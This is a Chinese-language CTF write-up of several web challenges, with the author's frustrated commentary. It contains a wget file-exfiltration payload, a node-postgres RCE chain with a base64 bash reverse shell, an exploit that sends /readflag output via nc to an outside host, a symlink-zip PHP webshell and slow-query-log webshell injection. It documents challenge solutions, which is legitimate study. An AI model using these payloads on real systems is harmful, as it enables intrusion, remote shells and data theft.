FakeWget
利用sh下grep命令正则缺陷绕过正则检查
这个题,就非常的可惜,具体的就不说了,太丢人了,总之十分拉跨,特别可惜,究极下饭。
扫目录,得到/console,/wget,/flag页面得到提示flag在/flag_is_here
/wget可以发送url进行wget的操作,跟curl一样,也是可以发送post请求滴,这里对输入的url有检测,不允许有空格和一些特殊字符
这里其实有个原题[纵横杯 2020]magic_download,几乎是一样的,sh在grep时可以用换行的操作来绕过
payload
function senduri() {
var uri = 'http://your_vps_ip:port/\\n?\t--post-file=flag_is_here'
var encrypt = new JSEncrypt();
publicKey = '-----BEGIN PUBLIC KEY-----\
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoFH2atPqJOH6yezxEw9s\
eStp0j7hN3cKKlANZpAv8RRhpDxFcob47OwkyUlsJp6tdvSJBtsJ5KCNYIomdqc7\
+f4PJvShHatMLGBRFjUkr0aunqq9LDobEHrzwSEEX6V0V+73EdbieYxFHCz2cXaB\
MpnIK19c+u6sgVJFjZ+oggVyKuOtOUscnzzrMhOWGl+eXk+dBe0wjSTrq84zvRI1\
94uTehhY/8hzZjkQavV8NWq0b7l6hJHsO7mp2tGye1npYRQ/tZCEMkzO+PaAkPf6\
H3CyuVgbdMJcuSBJT8kBRQ6P16skZIqrY+NRmdSJmMoGgR9NYVvk8soeSj4MHRpb\
rwIDAQAB\
-----END PUBLIC KEY-----';
encrypt.setPublicKey(publicKey);
encryptdata = encrypt.encrypt(uri);
$.post("/wget", {
encryptdata: encryptdata
});
$.get("/wget", {});
}
EasyWAF
different cookie means node pg vuln
pay attention to the hint different cookie different means
他妈的 经典比赛结束找到原题,真一模一样,吐了
https://github.com/orangetw/My-CTF-Web-Challenges#sql-so-hard
https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2017/sql-so-hard/exploit.py
#!/usr/bin/node
/**
* @HITCON CTF 2017
* @Author Orange Tsai
*/
const qs = require("qs");
const fs = require("fs");
const pg = require("pg");
const mysql = require("mysql");
const crypto = require("crypto");
const express = require("express");
const pool = mysql.createPool({
connectionLimit: 100,
host: "localhost",
user: "ban",
password: "ban",
database: "bandb",
});
const client = new pg.Client({
host: "localhost",
user: "userdb",
password: "userdb",
database: "userdb",
});
client.connect();
const KEYWORDS = [
"select",
"union",
"and",
"or",
"\\",
"/",
"*",
" "
]
function waf(string) {
for (var i in KEYWORDS) {
var key = KEYWORDS[i];
if (string.toLowerCase().indexOf(key) !== -1) {
return true;
}
}
return false;
}
const app = express();
app.use((req, res, next) => {
var data = "";
req.on("data", (chunk) => { data += chunk})
req.on("end", () =>{
req.body = qs.parse(data);
next();
})
})
app.all("/*", (req, res, next) => {
if ("show_source" in req.query) {
return res.end(fs.readFileSync(__filename));
}
if (req.path == "/") {
return next();
}
var ip = req.connection.remoteAddress;
var payload = "";
for (var k in req.query) {
if (waf(req.query[k])) {
payload = req.query[k];
break;
}
}
for (var k in req.body) {
if (waf(req.body[k])) {
payload = req.body[k];
break;
}
}
if (payload.length > 0) {
var sql = `INSERT INTO blacklists(ip, payload) VALUES(?, ?) ON DUPLICATE KEY UPDATE payload=?`;
} else {
var sql = `SELECT ?,?,?`;
}
return pool.query(sql, [ip, payload, payload], (err, rows) => {
var sql = `SELECT * FROM blacklists WHERE ip=?`;
return pool.query(sql, [ip], (err,rows) => {
if ( rows.length == 0) {
return next();
} else {
return res.end("Shame on you");
}
});
});
});
app.get("/", (req, res) => {
var sql = `SELECT * FROM blacklists GROUP BY ip`;
return pool.query(sql, [], (err,rows) => {
res.header("Content-Type", "text/html");
var html = "<pre>Here is the <a href=/?show_source=1>source</a>, thanks to Orange\n\n<h3>Hall of Shame</h3>(delete every 60s)\n";
for(var r in rows) {
html += `${parseInt(r)+1}. ${rows[r].ip}\n`;
}
return res.end(html);
});
});
app.post("/reg", (req, res) => {
var username = req.body.username;
var password = req.body.password;
if (!username || !password || username.length < 4 || password.length < 4) {
return res.end("Bye");
}
password = crypto.createHash("md5").update(password).digest("hex");
var sql = `INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING`;
return client.query(sql.split(";")[0], (err, rows) => {
if (rows && rows.rowCount == 1) {
return res.end("Reg OK");
} else {
return res.end("User taken");
}
});
});
app.listen(31337, () => {
console.log("Listen OK");
});
涉及到的主要知识点有三个,一个一个说。
CVE-2017-16082: node-progresql-rce
参考:node.js + postgres 从注入到Getshell | vulhub: node/CVE-2017-16082 | PostgreSQL 认证方式详解
docker中的示例app.js,之后连上docker中的app.js用vscode远程调试
const Koa = require('koa')
const { Client } = require('pg')
const app = new Koa()
const client = new Client({
user: "postgres",
password: "postgres",
database: "example",
host: "db",
port: 5432
})
client.connect()
app.use(async ctx => {
ctx.response.type = 'html'
let id = ctx.request.query.id || 1
let sql = `SELECT * FROM "user" WHERE "id" = ${id}`
const res = await client.query(sql)
ctx.body = `<html>
<body>
<table>
<tr><th>id</th><td>${res.rows[0].id}</td></tr>
<tr><th>name</th><td>${res.rows[0].name}</td></tr>
<tr><th>score</th><td>${res.rows[0].score}</td></tr>
</table>
</body>
</html>`
})
app.listen(3000)
显然17行的let sql =
语句有sql的可能,不过注意这里的可控参数在where之后而不在select之后,我们没法轻易的控制字段名,即使是用联合查询
select * from "user" where id=-1 union slect 1,2,3 as "\\'+console.log(process.enc)]=null;//"
第二个select后的字段名也不会被postgres返回,只会回显第一个查询结果
但是我们可以直接执行多语句
/?id=1;select+1+as+"\'+console.log(process.env)]=null;//"
会返回500,但是已经被正常执行语句了,打印出了环境变量
原理呢,就是经典的转义不全
var inlineParser = function (fieldName, i) {
return "\nthis['" +
// fields containing single quotes will break
// the evaluated javascript unless they are escaped
// see https://github.com/brianc/node-postgres/issues/507
// Addendum: However, we need to make sure to replace all
// occurences of apostrophes, not just the first one.
// See https://github.com/brianc/node-postgres/issues/934
fieldName.replace(/'/g, "\\'") +
"'] = " +
'rowData[' + i + '] == null ? null : parsers[' + i + '](rowData[' + i + ']);'
}
fileName就是字段名,只对单引号前加反斜杠fileName.replace(/'/g, "\\'")
,我们只要再加一个反斜杠就能逃逸了,所以我们就有了可控的字段名
我们上面的payload传入之后会是这样
'SELECT * FROM "user" WHERE "id" = 1;select 1 as "\\' console.log(process.env)]=null;//"'
诶,闭合了;如果在中间解析的地方下断点,可以看到传入Function类的函数体ctorBody值为
this['\\'+console.log(process.env)]=null;//'] = rowData[0] == null ? null : parsers[0](rowData[0]);
确实,执行的就是我们的恶意语句
构造反弹shell的poc,执行即可反弹shell(不成功的话记得把urlencode的special chars勾上)
/?id=1;SELECT 1 AS "\']=0;require=process.mainModule.constructor._load;/*", 2 AS "*/p=require(`child_process`);/*", 3 AS "*/p.exec(`echo YmFzaCAtaSA+JiAvZGV2L3Rj`+/*", 4 AS "*/`cC8xMDEuMzUuMTE0LjEwNy84NDI2IDA+JjE=|base64 -d|bash`)//"
其中核心payload分割后用b64编码+反引号来执行语句;Function环境下没有require()
函数,不能获得child_process
模块,使用process.mainModule.constructor._load
来代替require
修复方法是将fileName.replace(/'/g, "\\'")
修改为escape(fileName)
,对大部分有问题字符进行转义
mysql的max_allowed_packet
默认最大16M,超过则关闭连接不执行sql语句,不会把我们此次查询的记录保留下来,可以绕过waf
postgresql特殊语句
特性:支持将16进制的值转换为unicode字符,并且可以自定义转义符
利用这一点可以绕waf,空格用\t
绕过,自定义转义符设为感叹号
','')\tON\tCONFLICT\t(username)\tDO\tUPDATE\tSET\tusername=''\tRETURNING\t1\tAS\tU&"!005c!0027+(r=process.mainModule.require,l=!0022!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022!002freadflag|nc!0020123.123!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(l+=!0022.123.123!00201234!0022)]!002f!002f"\tUESCAPE\t'!',\t1\tAS\tU&"!005c!0027+(r(!0022child_process!0022).execSync(l))]!002f!002f"\tUESCAPE\t'!';
这道题的sql注入点在update之后
INSERT INTO users(username, password) VALUES('${username}', '${password}') ON CONFLICT (username) DO NOTHING
一样的思路,先闭合,在构造正常的js语句
""','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""
还得结合一下前面那个16M的溢出
str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
最后是完整的exp,来自于orange佬
from random import randint
import requests
# payload = "union"
payload = """','')/*%s*/returning(1)as"\\'/*",(1)as"\\'*/-(a=`child_process`)/*",(2)as"\\'*/-(b=`/readflag|nc 10.188.2.20 9999`)/*",(3)as"\\'*/-console.log(process.mainModule.require(a).exec(b))]=1//"--""" % (' '*1024*1024*16)
username = str(randint(1, 65535))+str(randint(1, 65535))+str(randint(1, 65535))
data = {
'username': username+payload,
'password': 'AAAAAA'
}
print 'ok'
r = requests.post('http://10.188.2.20:12345/reg', data=data);
print r.content
深育这个题不过是把白盒审计换成了黑盒,思路一模一样,就不细嗦了
参考wp:hitconDockerfile/hitcon-ctf-2017/sql-so-hard/(有这位师傅自制的docker可以自行复现)
ZipZip
页面源码提示:听说压缩包文件也能getshell;压缩包的一个常考点是软链接任意文件读取,不过脑子太木了没想到如何写shell进去,看了wp以后才明白
上传zip之后回显的路径是/tmp/uploads,显然无法正常访问;这里可以利用软链接将shell写入/var/www/html
首先创建一个指向/var/www/html/目录的软链接并zip压缩上传
ln -s /var/www/html/ l1
zip -ry l1.zip l1
然后建立一个和软链接名字相同的目录,在里面写shell,之后将这个同名的目录整个zip压缩上传
# 当前目录/var/www/html/
mkdir l1 && cd l1
echo '<?php eval($_GET['wuhu']);?>' > shell.php
cd ../ # 继续转到/var/www/html/
zip -r l2.zip ./*
即可写入shell
***WebLog
一打开就会下载一个log文件,但是没什么内容,修改get参数为/?logname=logs/info/info.2021-11-12.log
可以得到真正的log,可以看到是java,我爬了
easysql
long_query_time
常用的select、单双引号、括号、分号、set、show、variables、等都没有过滤,语句闭合方式为括号,百名单为数据库记录行数,使用1);{sqlinject}--+
可以闭合查询语句+堆叠注入
show variables like '%slow_query_log%'; # 查询慢日志记录是否开启
setglobal slow_query_log=1; # 开启慢查询日志
setglobal slow_query_log_file='/var/www/html/helpyou2findflag.php' # 设置慢查询日志位置
慢查询,顾名思义时间长的查询记录会被记录下来,我们直接把long_query_time的默认值改掉,然后写入shell
1);setglobal long_query_time=0.000001;--+
1);show variables like 'long_query_time'l--+
1);select '<?php $_REQUEST[a]($_REQUEST[b])?>';--+
或者用benchmark这样的函数延长执行时间
1);set GLOBAL slow_query_log_file='/var/www/html/helpyou2findflag.php';set GLOBAL slow_query_log=on;set GLOBAL log_queries_not_using_indexes=on;select 0x3c3f706870206576616c28245f504f53545b315d293b3f3e from mysql.db where BENCHMARK(5000000000,MD5(0x5476556d));%23
flag位于/home/rainbow/ssh.log
比赛能暴露出我太多短板了,问题挺大的
首先是容易手忙脚乱,第二是他妈的跟个脑瘫一样找到原题都不会变通,第三是就会瞎bb不会学java,第四是缺乏跟队友的沟通
就差一题就进线下了,这一题就折在我这里,真是我全责,真的很对不起另外的pwn爷和密码爷,太丢人了,我先磕一个,然后给自己两拳
太他妈可惜了,草